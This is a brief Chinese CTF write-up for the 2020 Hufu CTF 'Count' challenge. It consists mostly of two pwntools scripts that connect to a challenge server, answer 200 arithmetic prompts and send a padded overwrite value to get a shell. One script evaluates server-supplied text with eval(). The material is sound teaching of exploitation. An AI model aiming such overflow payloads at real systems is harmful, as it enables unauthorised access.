0%

2020 虎符CTF Count

发表于 更新于 分类于 ，
本文字数： 737 阅读时长 ≈ 1 分钟

200次计算求值，结束直接给覆盖点然后启的SHELL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
from pwn import *
debug = 0
elf = ELF('./pwn')
#nc 39.97.210.182 40285
p = remote('39.97.210.182',40285)

def count():
	bstr = p.recvuntil('Math: ')
	mathstr = p.recvuntil('=',drop=True)
	result = eval(mathstr)
	p.sendline(str(result))
for i in range(200):
	count()
	print(i)

shellcode = 'a'*(0x88-0x24)+p64(0x12235612)
p.sendline(shellcode)


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level = 'debug'
#39.97.210.182 40285
p=remote('39.97.210.182',40285)
def fun():
 	p.recvuntil('Math: ')
 	a=int(p.recv(2))
 	p.recvuntil('* ')
 	b=int(p.recv(2))
 	p.recvuntil('+ ')
 	c=int(p.recv(2))
 	p.recvuntil('+ ')
 	d=int(p.recv(2))
 	e=a*b+c+d
 	p.sendline(str(e))
for i in range(200):
 	fun()
p.send('a'*100+p32(0x12235612))
p.interactive()